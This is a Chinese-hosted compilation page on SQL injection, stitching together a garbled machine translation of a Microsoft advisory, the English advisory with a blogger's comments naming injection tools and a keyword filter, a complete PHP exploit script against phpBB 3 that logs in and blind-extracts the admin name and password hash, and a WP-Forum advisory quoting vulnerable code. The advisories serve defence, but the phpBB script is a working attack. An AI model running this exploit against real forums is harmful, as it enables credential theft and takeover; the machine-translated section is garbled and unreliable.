欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

[翻译]SQL Injection Attack

时间:2022-08-22 08:07:51 其他范文 收藏本文 下载本文

以下是小编收集整理的[翻译]SQL Injection Attack,本文共8篇,仅供参考,希望对大家有所帮助。

[翻译]SQL Injection Attack

篇1:[翻译]SQL Injection Attack

译文作者:hackxi(www.hackxi.cn)

最近的趋势

开始,在去年年底,一些网站被污损,包括

恶意的HTML 标记在文本,这是存储在一个SQL数据库和

用来产生动态网页,这些攻击开始加快,在

首季,并正继续影响脆弱的Web

申请。

Web应用程序作出妥协,分享几个共性:

*应用程序使用经典的ASP代码

*应用程序使用SQL Server数据库

*应用程序代码生成的动态SQL查询的基础上的URI查询

字符串( consoto.com/widgets.asp?widget=sprocket )

这代表了一种新方法SQL注入

( msdn.microsoft.com/en-us/library/ms161953.aspx ) 。在过去的中, SQL

注入攻击是针对特定的Web应用程序的地方

脆弱性和结构的基本数据库,要么

已知或发现攻击者。这次袭击事件不同,因为它已

抽象的,例如,它是有可能的攻击,几乎所有的脆弱性

这是目前在ASP网页中创建动态SQL查询,从开放的我们查询

弦乐团。额外的技术细节和漫游的具体情况是

可在

blogs.technet.com/neilcar ... 5/anatomy-of-a-sql- ...

关于-事件部分- 2 - meat.aspx 。

这次袭击没有利用的漏洞在Windows中, IIS , SQL Server或

其他基础设施码;相反,它利用的漏洞定制的Web

上运行的应用程序在此基础设施。 Microsoft已调查

这些袭击彻底和决心,他们是不相关的任何

修补或0 -天的漏洞微软产品。更多信息可以

被发现

blogs.technet.com/msrc/ar ... uestions-about-web- ...

attacks.aspx 。

如上所示,这些攻击已加速通过一年。

这似乎是相关的至少有两个因素。首先,是有

恶意工具,是在野外的自动化。 SAN的论述

工具在这里-h ttp://isc.sans.org/diary.html?storyid=4294。该工具使用

搜索引擎找到脆弱的网站,以SQL注入。

第二个因素是有一个或多个恶意程序,现在推出的SQL

注入攻击的一种方式,传播的BOT进一步。 secureworks

讨论了一个例子,在

www.secureworks.com/research/threats/danmecasprox/ 。

一旦服务器已被污损,使用这种攻击,它将开始,包括一

恶意标记指向1 。 js文件。而这些内容

文件不同,他们都企图利用各种漏洞,包括

已经修补微软漏洞和易受伤害的第三党的ActiveX

管制。由于这些脚本主办的独立,是有可能的

脚本是可以改变的迅速开发新客户的脆弱性和

可以很容易地针对目标, “每浏览器”的基础上。

资讯科技/数据库管理员的建议

有很多的事情, IT管理员和数据库

管理员应该做的,以限制风险和应对可能发生的事故就

该守则和基础设施的管理:

*检讨IIS日志和数据库表的迹象,以往利用

由于此漏洞需要的地方,通过开放的我们查询字串,管理员可以

检讨IIS日志,以找到异常的疑问,可能企图利用

这个。有关如何手动执行此操作可在

blogs.technet.com/neilcar ... 5/anatomy-of-a-sql- ...

关于-事件部分- 2 - meat.aspx 。样本一自动工具,可在

www.codeplex.com/release/ ... px?projectname=wsus

< www.codeplex.com/release/ ... px?projectname=wsus ...

seid = 13436 > & releaseid = 13436 。

如果IIS日志显示服务器可能被剥削,下一步

将检查表在数据库中所用的相关网站

申请时,寻找标记附在细胞在文本列。

注: IIS服务器上运行绝不应在生产测井残疾人士。

而存储和管理的要求, IIS日志记录可以

显着,缺乏IIS日志,使很难作出回应

安全事故。

*如果运行的第三党的代码使用一个数据库后端,谘询的ISV

关于易感性的SQL注入

的情况下,第三党的ASP Web应用程序正在使用,管理员

要联系应用程序供应商,以确保它们不

容易受到SQL注入攻击。

*验证该帐户( )被用来从Web应用程序

有可能的特权,至少在数据库中

管理员应该确保SQL用户的Web应用程序

用途最少的特权,必要的。 Web应用程序绝不应

作为连接用户与行政特权,如“系统管理员”在

服务器级别或“ db_owner ”在该数据库的水平。白皮书的“最佳

做法为建立和维护安全在SQL Server “

download.microsoft.com/do ... 4fa-b3bb-4426-97d0- ...

c/sql2005secbestpract.doc提供建议,供各方面的

SQL Server的安全。

Web开发人员的建议

有几个很好的文件,就如何Web开发人员可以防止的SQL

注入攻击,写作时的代码。由于这些攻击脆弱的杠杆

Web应用程序代码,唯一的办法完全防止他们是要解决

漏洞在代码中。任何地方,该守则动态生成一个

SQL查询中使用的数据从外部来源(和,尤其是从一个开放的我们

查询字符串)应被视为嫌疑人。一旦代码漏洞

确定,他们需要认真解决。

*解释-S QL注入, a sp.net, a do.net:

msdn.microsoft.com/en-us/library/bb671351.aspx

此外,上述文件中包含一个指针,以下面的文章“如何

到:保护从SQL注射液在asp.net “

msdn.microsoft.com/en-us/library/ms998271.aspx (其中仍然适用

以ASP )的

一个非常有用的视频可以在这里找到(这是视频是指对

以前的文章,但这种联系是目前破碎) :

channel9.msdn.com/wiki/de ... iki.sqlinjectionlab

*通用有关如何SQL注入工程:

msdn.microsoft.com/en-us/library/ms161953.aspx

*的SQL注射在ASP代码(这是从不同的asp.net ! ) :

msdn.microsoft.com/en-us/library/cc676512.aspx

如何调用SQL Server存储过程从ASP :

support.microsoft.com/kb/q164485

*微软安全开发生命周期( SDL的)有具体的

指导,以抵御SQL注入,

简单来说,有三个

不同的战略来消灭SQL注入攻击:

1 。使用SQL参数查询

2 。使用存储过程

3 。使用SQL执行只权限

迈克尔霍华德涵盖这些主题在

blogs.msdn.com/sdl/archiv ... g-sql-injection-the ...

T型科技deserves.aspx

同时,书面安全的代码第二具有良好的指导,就如何防止这些类型

攻击,以及(见399-411页)

* SQL注入缓解:使用参数化查询(部分1 & 2 ) 。

的优势,使用参数化查询是,它隔开

可执行代码(即SELECT语句)由数据(动态

资料所提供的应用程序的用户) 。这种做法阻止任何

恶意报表通过沿由用户从执行。

第1部分:

blogs.technet.com/neilcar ... 1/sql-injection-mit ...

-使用-参数- queries.aspx

第2部分:

blogs.technet.com/neilcar ... 3/sql-injection-mit ...

-使用-参数-疑问部分- 2 -类型和recordsets.aspx

*过滤SQL注入的形式经典的ASP代码(或列入黑名单

关键字) ,我们认为,下面作为临时的替代方法,因为在现实中

它没有固定的根源的错误(即代码仍是

脆弱的,它可能会达到甚至后,过滤)

的Nazim从IIS团队解释如何做过滤在此详细:

blogs.iis.net/nazim/archi ... ering-sql-injection ...

lassic - asp.aspx

如果您仍然不知道从哪里开始,所有的网页代码存取

数据库,特别侧重于ASP代码和地区代码,其中使用

用户提供的数据应检讨第一。

最终用户的建议

最终用户应该检讨的资料,

www.microsoft.com/protect/default.mspx ;此外,这里有一些

具体的步骤,您可以采取的保护自己。

*一如既往,浏览负责任的-但也知道,这也可能

影响的网站,用户信任

而负责浏览限制你接触到的脆弱性,这是

可能的,即使您信任的网站可能已经失密。观赏为

不寻常的行为,应注意的风险,以及实施其他

建议在本条中。

*跟上最新的安全更新,微软和第三党

自恶意脚本是利用已知的漏洞,您应该

确保您正在运行的最新版本的Microsoft和第三党的安全

更新。 Microsoft安全更新可通过

update.microsoft.com 。额外

信息可在

www.microsoft.com/protect/computer/updates/os.aspx 。

*禁用不需要的ActiveX控件和Internet Explorer加载项

你应该禁用任何不需要的ActiveX控件和加载项在Internet

总管。为此在Windows XP Service Pack 2或更高版本,请按照下列

步骤从kb883256 ( support.microsoft.com/kb/883256 ) :

1 。启动Internet Explorer 。

2 。在工具菜单上,单击管理加载项。

3 。单击加载项的名称上。

4 。使用下列方法之一:

*点击更新ActiveX ,以取代加载就与当前版本。这个

选项并非适用于所有的加载项。

*使加载项,单击启用,然后单击确定。

*禁用加载项,单击禁用,然后单击确定。

您可能必须重新启动Internet Explorer ,以使更改生效

当您启用或禁用添加对。

较早的操作系统,按照指示在kb154036

( support.microsoft.com/kb/154036 ) 。

*采取步骤减少攻击面的第三党的浏览器,如果你是

用他们

如果您正在使用的网际网路浏览器Internet Explorer以外的其他,你

应确保您已安装最新的安全更新程序,并

您禁用不需要的扩展和加载项。信息受欢迎

浏览器中可以发现:

Firefox的-h ttp://support.mozilla.com/en-us/kb/firefox+支持+首页+页

歌剧-h ttp://www.opera.com/support/

野生动物园-h ttp://www.apple.com/support/safari/

*运行切合时宜的反恶意软件的软件

最终用户应该确保他们有足够的防病毒和反间谍软件

安装并认为这是切合时宜。更多信息,可以发现在

www.microsoft.com/protect/computer/antivirus/os.aspx和

www.microsoft.com/protect/computer/antispyware/os.aspx 。您可以获得

90天试用的副本信息Windows Live OneCare anti-virus/anti-spyware软件

在onecare.live.com/standard/en-us/install/install.htm 。

-安全漏洞的研究与国防博客

*这张贴的是“按原样”提供任何担保,并赋予没有任何权利.*

篇2:SQL Injection Attack (From Microsoft TechNet)

网路游侠的博客

来自TechNet的一篇文章,说实话,都流行了几年的东西了,现在突然当作宝贝一样

这几天看到很多地方开始推这样的文章,包括HP、包括Symantec、包括Microsoft……

早干什么去了?初中的小孩都会拿个工具扫描了、甚至可以手工写注入语句了……

我还是在某些地方加点标注吧,文章写的并不是那么完美……中文的是我添加的

by 网路游侠 www.youxia.org

(Special thanks to Neil Carpenter for helping out on this blog post)

Recent Trends

实际上,这个“最近的”趋势,已经有几年了,至少从就开始在国内广泛流行,是的,是那时候开始“广泛流行”,而在国外,已经流行好久了……

Beginning late last year, a number of websites were defaced to include malicious HTML <script> tags in text that was stored in a SQL database and used to generate dynamic web pages. These attacks began to accelerate in the first quarter of and are continuing to affect vulnerable web applications.

The web applications compromised share several commonalities:

Application uses classic ASP code

不但有ASP注入,PHP和JSP的注入也相当流行,甚至有些EXE文件都可以注入……过分?是的,事实就是这样!

Application uses a SQL Server database

MySQL和Oracle、DB/2数据也是一样的,不但是SQL Server,只要功能不是太烂并且号称“数据库”貌似都行

Application code generates dynamic SQL queries based on URI query strings (consoto.com/widgets.asp?widget=sprocket)

This represents a new approach to SQL injection (msdn.microsoft.com/en-us/library/ms161953.aspx). In the past, SQL injection attacks were targeted to specific web applications where the vulnerabilities and the structure of the underlying database were either known or discovered by the attacker. This attack differs because it has been abstracted such that it is possible to attack virtually any vulnerability that is present in an ASP page creating dynamic SQL queries from URI query strings. Additional technical details and a walkthrough of the specifics are available at blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx.

This attack does not exploit vulnerabilities in Windows, IIS, SQL Server, or other infrastructure code; rather, it exploits vulnerabilities in custom web applications running on this infrastructure. Microsoft has investigated these attacks thoroughly and determined that they are not related to any patched or 0-day vulnerabilities in Microsoft products. More information can be found at web-server-attacks.aspx“>blogs.technet.com/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx.

As indicated above, these attacks have been accelerating through the year. This would appear to be related to at least two factors. First, there is a malicious tool that is in the wild that automates this. SANS discusses that tool here -- isc.sans.org/diary.html?storyid=4294. The tool uses search engines to find vulnerable sites to SQL injection.

The second factor is that one or more malicious bots are now launching SQL injection attacks as a way of spreading the bot further. SecureWorks discusses an example at www.secureworks.com/research/threats/danmecasprox/.

Once a server has been defaced using this attack, it will begin including a malicious <script> tag pointing to a .js file. While the contents of these files differ, they all attempt to exploit various vulnerabilities including already-patched Microsoft vulnerabilities and vulnerable third-party ActiveX controls. Since these scripts are hosted independently, it is possible that the scripts can be changed rapidly to exploit new client vulnerabilities and can be easily tailored to target on a “per browser” basis.

不仅仅是.js文件,SQL注入攻击是利用程序自身的问题,得到一定权限后写入文件,有时候是.js、有时候是<iframe>、有时候甚至是.css文件,都是可以成功利用刷流量或者进行进一步攻击、获取肉鸡的!

IT/database administrators Recommendations

There are a number of things that IT administrators and database administrators should do to limit risk and respond to possible incidents on the code and infrastructure they manage:

Review IIS logs and database tables for signs of previous exploits

Since this exploit takes place via the URI query string, administrators can review IIS logs to find anomalous queries that may be attempts to exploit this. Information on how to do this manually is available at blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx. A sample of an automated tool is available at www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436.

If IIS logs show that the server has possibly been exploited, the next step would be to inspect tables in databases that are used by the associated web applications, looking for <script> tags appended to cells in text columns.

NOTE: IIS servers should never run in production with logging disabled. While the storage and administration requirements of IIS logging can be significant, the lack of IIS logs makes it very difficult to respond to security incidents.

If running 3rd party code that uses a database back-end, consult ISV about susceptibility to SQL injection

In cases where 3rd party ASP web applications are being used, administrators should contact the application vendors to ensure that they are not susceptible to SQL injection attacks.

第三方的防止SQL注入攻击的产品很多,包括现在很多防火墙、IPS、专用的防注入防火墙都可以起到比较好的作用,另外也有防注入的脚本,过滤一些直接提交的SQL语句,比如:or、and、select、drop、insert等,就可以很有效的起到过滤作用,一般可以直接在conn.asp等数据库连接文件中调用,效果很明显,同样的,作者还是在说ASP应用,实际上几乎所有的语言都有这个问题!因为这个是数据库的特性!PHP、JSP都无一例外,甚至C、Pascal、Perl、Python等写的程序依然可以注入,因为这个是程序自身的问题,只要你愿意,你甚至可以用汇编写SQL注入的例子。以前有杂志曾经将结果EXE的注入,后来我自己也尝试过,成功构造语句进入了一个需要密码才能进入的EXE程序

Validate that the account(s) that are used from the web application have least possible privilege in the database

Administrators should make sure that the SQL users that the web application uses have the least privilege necessary. Web applications should never connect as users with administrative privilege such as “sysadmin” at the server level or “db_owner” at the database level. The white paper “best practices for setting up and maintaining security in SQL Server 2005” download.microsoft.com/download/8/5/e/85eea4fa-b3bb-4426-97d0-7f7151b2011c/SQL2005SecBestPract.doc provides recommendations for various aspects of SQL server security.

Web developers Recommendations

There are several good documents on how Web developers can prevent SQL injection attacks when writing code. Since these attacks leverage vulnerable web application code, the only way to completely prevent them is to resolve vulnerabilities in the code. Any place that the code dynamically generates a SQL query using data from an external source (and, particularly, from a URI query string) should be considered suspect. Once code vulnerabilities are identified, they need to be carefully resolved.

Explained C SQL Injection, ASP.NET, ADO.NET:

msdn.microsoft.com/en-us/library/bb671351.aspx

Also, the above document contains a pointer to the following article “How To: Protect From SQL Injection in ASP.NET” msdn.microsoft.com/en-us/library/ms998271.aspx (which still applies to ASP)

A very useful video can be found here (this is the video refer on the previous article, but that link is currently broken): channel9.msdn.com/wiki/default.aspx/SecurityWiki.SQLInjectionLab

Generic information about how SQL Injection works:

msdn.microsoft.com/en-us/library/ms161953.aspx

SQL injections in ASP code (this is different from ASP.NET!):

msdn.microsoft.com/en-us/library/cc676512.aspx

How to call SQL Server stored procedures from ASP:

support.microsoft.com/kb/q164485

The Microsoft Security Development Lifecycle (SDL) has specific guidance to defend against SQL injection. In simple terms there are three different strategies to eradicate SQL Injection attacks:

Using SQL parameterized queries

Using stored procedures

Using SQL execute-only permissions

Michael Howard covers those topics in blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx

Also, Writing Secure Code 2nd has good guidance on how to prevent these type of attacks as well (see pages 399-411)

SQL Injection Mitigation: Using Parameterized Queries (Part 1 & 2). The advantage of using parameterized queries is that it separates the executable code (ie, the SELECT statement) from the data (the dynamic information supplied by the application’s user). This approach prevents any malicious statements passed along by the user from executing.

Part 1: blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx

Part 2: blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx

Filtering SQL injection form. Classic ASP code (or blacklisting keywords), we considered the below as temporary workarounds since in reality it does not fix the root cause of the bugs (i.e. the code is still vulnerable and it might be reachable even after the filtering)

Nazim from the IIS team explains how to do the filtering in detail here: blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

If you are still not sure where to start, all web code that accesses a database with a particular focus on ASP code and areas of code which use user-supplied data should be review first.

End User Recommendations

End users should review the information at www.microsoft.com/protect/default.mspx; in addition, here are some specific steps that you can take to protect yourself.

As always, browse responsibly ― but be aware that this could also affect websites that the user trusts

While responsible browsing limits your exposure to vulnerability, it is possible that even websites you trust may have been compromised. Watch for unusual behavior, be aware of the risk, and implement the other recommendations in this section.

Keep up to date on security updates, both Microsoft and 3rd party

Since the malicious scripts are exploiting known vulnerabilities, you should make sure that you are running the latest Microsoft and 3rd party security updates. Microsoft security updates are available via update.microsoft.com. Additional information is available at www.microsoft.com/protect/computer/updates/OS.aspx.

Disable unneeded ActiveX controls and Internet Explorer add-ons

You should disable any unneeded ActiveX controls and add-ons in Internet Explorer. To do this on Windows XP Service Pack 2 or later, follow these steps from KB883256 (support.microsoft.com/kb/883256):

1. Start Internet Explorer.

2. On the Tools menu, click Manage Add-ons.

3. Click the name of the add-on.

4. Use one of the following methods:

• Click Update ActiveX to replace the add-on with the current version. This option is not available for all add-ons.

• To enable an add-on, click Enable, and then click OK.

• To disable an add-on, click Disable, and then click OK.

You may have to restart Internet Explorer for the changes to take effect after you enable or disable an add-on.

For earlier operating systems, follow the instructions in KB154036 (support.microsoft.com/kb/154036).

Take steps to reduce attack surface of 3rd party browsers if you are using them

If you are using an Internet browser other than Internet Explorer, you should ensure that you have installed the latest security updates and that you disable unneeded extensions and add-ons. Information for popular browsers can be found at:

Firefox - support.mozilla.com/en-US/kb/Firefox+Support+Home+Page

Opera - www.opera.com/support/

Safari - www.apple.com/support/safari/

Run up-to-date anti-malware software

End users should ensure that they have anti-virus and anti-spyware software installed and that it is up to date. More information can be found at www.microsoft.com/protect/computer/antivirus/OS.aspx and www.microsoft.com/protect/computer/antispyware/OS.aspx. You can get a 90-day trial copy of Windows Live OneCare anti-virus/anti-spyware software at onecare.live.com/standard/en-us/install/install.htm.

- Security Vulnerability Research & Defense Bloggers

*Postings are provided ”AS IS“ with no warranties, and confers no rights.*

Published Thursday, May 29, 2008 10:20 PM by swiblog

Filed under: Injection, SQL, Attack

blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

后面的很多不想添加了,前面说的差不多了

注入是程序员在写程序的时候过滤不严格导致的安全问题

和语言无关、和数据库类型无关

最好的防范手段是找个安全意识好的程序员

写程序的时候不要片面追求功能,因为功能永远和安全成反比

如果可能,购买相关软件或硬件产品进行防范

当然,安全配置也相当的重要

万一被攻克了,至少能防止权限被进一步提升

如果你想检测自己的网站是不是也有这样的问题

可以尝试下列几个工具:

NBSI、啊D注入工具、明小子的Domain、CASI 注射器、HDSI

新版本的X-Scan也行

商业的有WebRavor、SSS、榕基RJ-iTop、绿盟极光、Venus天镜

篇3:phpBB 3.0 SQL Injection

#!/usr/bin/php -q -d short_open_tag=on

echo ”PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosuren“;

echo ”by rgod rgod@autistici.orgn“;

echo ”site: retrogod.altervista.orgn“;

echo ”dork, version specific: “Powered by phpBB * , phpBB Group”nn“;

/*

works regardless of php.ini settings

you need a global moderator account with ”simple moderator“ role

*/

if ($argc<5) {

echo ”Usage: php “.$argv[0].” host path user pass OPTIONSn“;

echo ”host: target server (ip/hostname)n“;

echo ”path: path to phpbb3n“;

echo ”user/pass: u need a valid user account with global moderator rightsn“;

echo ”Options:n“;

echo ” -T[prefix] specify a table prefix different from default (phpbb_)n“;

echo ” -p[port]: specify a port other than 80n“;

echo ” -P[ip:port]: specify a proxyn“;

echo ” -u[number]: specify a user id other than 2 (admin)n“;

echo ” -x: disclose table prefix through error messagesn“;

echo ”Example:rn“;

echo ”php “.$argv[0].” localhost /phpbb3/ rgod suntzu-u-urn“;

echo ”php “.$argv[0].” localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7n“;

die;

}

error_reporting(0);

ini_set(”max_execution_time“,0);

ini_set(”default_socket_timeout“,5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=” .“;}

else

{$result.=” “.$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=” “.dechex(ord($string[$i]));}

else

{$exa.=” 0“.dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.=”rn“; $exa.=”rn“;}

}

return $exa.”rn“.$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo ”Connecting to “.$parts[0].”:“.$parts[1].” proxy...rn“;

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo ”rn“.$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$port=80;

$prefix=”PHPBB_“;

$user_id=”2“;//admin

$discl=0;

$proxy=”“;

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp==”-p“)

{

$port=str_replace(”-p“,”“,$argv[$i]);

}

if ($temp==”-P“)

{

$proxy=str_replace(”-P“,”“,$argv[$i]);

}

if ($temp==”-T“)

{

$prefix=str_replace(”-T“,”“,$argv[$i]);

}

if ($temp==”-u“)

{

$user_id=str_replace(”-u“,”“,$argv[$i]);

}

if ($temp==”-x“)

{

$discl=1;

}

}

if (($path[0]'/') or ($path[strlen($path)-1]'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p=''.$host.':'.$port.$path;}

$data=”username=“.urlencode($user);

$data.=”&password=“.urlencode($pass);

$data.=”&redirect=index.php“;

$data.=”&login=Login“;

$packet=”POST “.$p.”ucp.php?mode=login HTTP/1.0rn“;

$packet.=”Referer: $host$path/ucp.php?mode=loginrn“;

$packet.=”Content-Type: application/x-www-form-urlencodedrn“;

$packet.=”Accept-Encoding: text/plainrn“;

$packet.=”Host: “.$host.”rn“;

$packet.=”Content-Length: “.strlen($data).”rn“;

$packet.=”Connection: Closernrn“;

$packet.=$data;

sendpacketii($packet);

$cookie=”“;

$temp=explode(”Set-Cookie: “,$html);

for ($i=1; $i<=count($temp)-1; $i++)

{

$temp2=explode(” “,$temp[$i]);

$cookie.=” “.$temp2[0];

}

if (eregi(”_u=1;“,$cookie))

{

//echo $html.”n“;//debug

//die(”Unable to login...“);

}

echo ”cookie -> “.$cookie.”rn“;

if ($discl)

{

$sql=”'suntzuuuuu“;

echo ”sql -> “.$sql.”n“;

$sql=urlencode(strtoupper($sql));

$data=”username=“;

$data.=”&icq=“;

$data.=”&email=“;

$data.=”&aim=“;

$data.=”&joined_select=lt“;

$data.=”&joined=“;

$data.=”&yahoo=“;

$data.=”&active_select=lt“;

$data.=”&active=“;

$data.=”&msn=“;

$data.=”&count_select=eq“;

$data.=”&count=“;

$data.=”&jabber=“;

$data.=”&sk=c“;

$data.=”&sd=a“;

$data.=”&ip=“.$sql;

$data.=”&search_group_id=0“;

$data.=”&submit=Search“;

$packet=”POST “.$p.”memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn“;

$packet.=”Content-Type: application/x-www-form-urlencodedrn“;

$packet.=”Host: “.$host.”rn“;

$packet.=”Content-Length: “.strlen($data).”rn“;

$packet.=”Connection: Closern“;

$packet.=”Cookie: “.$cookie.” rnrn“;

$packet.=$data;

sendpacketii($packet);

if (strstr($html,”You have an error in your SQL syntax“))

{

$temp=explode(”posts“,$html);

$temp2=explode(” “,$temp[0]);

$prefix=strtoupper($temp2[count($temp2)-1]);

echo ”prefix -> “.$prefix.”n“;sleep(2);

}

}

$md5s[0]=0;//null

$md5s=array_merge($md5s,range(48,57)); //numbers

$md5s=array_merge($md5s,range(97,102));//a-f letters

//print_r(array_values($md5s));

$j=1;$password=”“;

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

if (in_array($i,$md5s))

{

$sql=”1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,“.$j.”,1))=$i),$user_id,-1) FROM “.$prefix.”USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM “.$prefix.”POSTS WHERE POSTER_IP IN ('1.1.1.999“;

echo ”sql -> “.$sql.”n“;

$sql=urlencode(strtoupper($sql));

$data=”username=“;

$data.=”&icq=“;

$data.=”&email=“;

$data.=”&aim=“;

$data.=”&joined_select=lt“;

$data.=”&joined=“;

$data.=”&yahoo=“;

$data.=”&active_select=lt“;

$data.=”&active=“;

$data.=”&msn=“;

$data.=”&count_select=eq“;

$data.=”&count=“;

$data.=”&jabber=“;

$data.=”&sk=c“;

$data.=”&sd=a“;

$data.=”&ip=“.$sql;

$data.=”&search_group_id=0“;

$data.=”&submit=Search“;

$packet=”POST “.$p.”memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn“;

$packet.=”Content-Type: application/x-www-form-urlencodedrn“;

$packet.=”Host: “.$host.”rn“;

$packet.=”Content-Length: “.strlen($data).”rn“;

$packet.=”Connection: Closern“;

$packet.=”Cookie: “.$cookie.” rnrn“;

$packet.=$data;

sendpacketii($packet);

if (!strstr($html,”No members found for this search criteria“)) {$password.=chr($i);echo ”password -> “.$password.”[???]rn“;sleep(2);break;}

}

if ($i==255) {die(”Exploit failed...“);}

}

$j++;

}

$j=1;$admin=”“;

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql=”1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,“.$j.”,1))=$i),$user_id,-1) FROM “.$prefix.”USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM “.$prefix.”POSTS WHERE POSTER_IP IN ('1.1.1.999“;

echo ”sql -> “.$sql.”n“;

$sql=urlencode(strtoupper($sql));

$data=”username=“;

$data.=”&icq=“;

$data.=”&email=“;

$data.=”&aim=“;

$data.=”&joined_select=lt“;

$data.=”&joined=“;

$data.=”&yahoo=“;

$data.=”&active_select=lt“;

$data.=”&active=“;

$data.=”&msn=“;

$data.=”&count_select=eq“;

$data.=”&count=“;

$data.=”&jabber=“;

$data.=”&sk=c“;

$data.=”&sd=a“;

$data.=”&ip=“.$sql;

$data.=”&search_group_id=0“;

$data.=”&submit=Search“;

$packet=”POST “.$p.”memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn“;

$packet.=”Content-Type: application/x-www-form-urlencodedrn“;

$packet.=”Host: “.$host.”rn“;

$packet.=”Content-Length: “.strlen($data).”rn“;

$packet.=”Connection: Closern“;

$packet.=”Cookie: “.$cookie.” rnrn“;

$packet.=$data;

sendpacketii($packet);

if (!strstr($html,”No members found for this search criteria“)) {$admin.=chr($i);echo ”password -> “.$admin.”[???]rn“;sleep(2);break;}

}

if ($i==255) {die(”Exploit failed...“);}

$j++;

}

echo ”--------------------------------------------------------------------rn“;

echo ”admin -> “.$admin.”rn“;

echo ”password (md5) -> “.$password.”rn“;

echo ”--------------------------------------------------------------------rn“;

function is_hash($hash)

{

if (ereg(”^[a-f0-9]{32}“,trim($hash))) {return true;}

else {return false;}

}

if (is_hash($password)) {echo ”Exploit succeeded...“;}

else {echo ”Exploit failed...“;}

?>

篇4:WPForum <= 2.3 SQL Injection

=============================================

INTERNET SECURITY AUDITORS ALERT -010

- Original release date: September 28th, 2009

- Last revised: December 15th, 2009

- Discovered by: Juan Galiana Lara

- CVE ID: CVE-2009-3703

- Severity: 8.5/10 (CVSS Base Score)

=============================================

I. VULNERABILITY

-------------------------

WP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities

II. BACKGROUND

-------------------------

WP-Forum is a discussion forum plugin for WordPress. It works with

WordPress 2+ version and PHP >= 5.0

III. DESCRIPTION

-------------------------

WP-Forum fails to sanitized user supplied input and is vulnerable to

SQL Injection and Blind SQL Injection. An attacker can obtain any data

of the database including user logins and passwords of the WordPress

installation, allowing him to obtain access to the application and

gain administration privileges.

For the SQL Injection vulnerability, is possible to concatenate other

sql requests via ”union select“ sentence. The parameters ”search_max“

and ”forum“ are affected by this flaw.

Snippet of vulnerable code:

In wpf.class file:

1836    $option_max_days = $_POST[search_max];      // <- this

line is not being sanitized

1837    $option_forums = $_POST[forum];

1838    if(!$option_max_days)

1839             $option_max_days = 9999;

1840    $op .= ” AND $this->t_posts.`date` > SUBDATE(CURDATE,

INTERVAL $option_max_days DAY) “;

1841

...

1850    foreach((array)$option_forums as $f)

1851            $a .= $f.”,“;   // <- <- this lines is not being

sanitized

1852

1853    $a = substr($a, 0, strlen($a)-1 );

1854    if(!$a)

1855            $w = ”“;

1856    else

1857            $w = ”IN($a)“;

1858

1859    $sql = ”SELECT $this->t_threads.parent_id as pt,

$this->t_posts.id, text, $this->t_posts.subject,

$this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST

($search_string) AS score

1860    FROM $this->t_posts inner join $this->t_threads on

$this->t_posts.parent_id = $this->t_threads.id

1861    WHERE $this->t_threads.parent_id $w

1862    AND MATCH (text) AGAINST ($search_string) $op“;

In the case of the Blind SQL Injection, the vulnerable code is...

In wpf-post.php file:

57    $id = $_GET[id]; // <- $_GET[id] is directly assigned

58    $thread = $this->check_parms($_GET[t]);

59

60            $out .= $this->header();

61

62    $post = $wpdb->get_row(”SELECT * FROM $wpforum->t_posts WHERE

id = $id“); // <- id is used without clean up

other example:

1490    function remove_post(){

1491            global $user_level, $user_ID, $wpdb;

